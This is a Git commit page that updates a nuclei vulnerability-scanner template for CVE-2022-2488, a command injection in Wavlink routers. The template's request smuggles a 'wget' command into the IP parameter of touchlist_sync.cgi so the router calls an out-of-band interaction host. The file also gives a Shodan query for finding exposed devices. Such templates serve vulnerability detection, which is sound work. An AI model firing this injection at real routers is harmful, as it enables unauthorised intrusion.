daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Update CVE-2022-2488.yaml

patch-1
Prince Chaddha 2022-07-21 14:15:40 +05:30 committed by GitHub
parent a5b676bb39
commit 7a71ceefef
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 7 additions and 1 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

8
cves/2022/CVE-2022-2488.yaml
View File

@ -10,8 +10,9 @@ info:
- https://github.com/1angx/webray.com.cn/blob/main/Wavlink/Wavlink%20touchlist_sync.cgi.md - https://github.com/1angx/webray.com.cn/blob/main/Wavlink/Wavlink%20touchlist_sync.cgi.md
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2488 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2488
metadata: metadata:
verified: true
shodan-query: http.title:"Wi-Fi APP Login" shodan-query: http.title:"Wi-Fi APP Login"
tags: cve,cve2022,iot,wavlink,router tags: cve,cve2022,iot,wavlink,router,rce,oast
requests: requests:
- raw: - raw:
@ -19,8 +20,13 @@ requests:
GET /cgi-bin/touchlist_sync.cgi?IP=;wget+http://{{interactsh-url}}; HTTP/1.1 GET /cgi-bin/touchlist_sync.cgi?IP=;wget+http://{{interactsh-url}}; HTTP/1.1
Host: {{Hostname}} Host: {{Hostname}}
matchers-condition: and
matchers: matchers:
- type: word - type: word
part: interactsh_protocol # Confirms the HTTP Interaction part: interactsh_protocol # Confirms the HTTP Interaction
words: words:
- "http" - "http"
- type: status
status:
- 500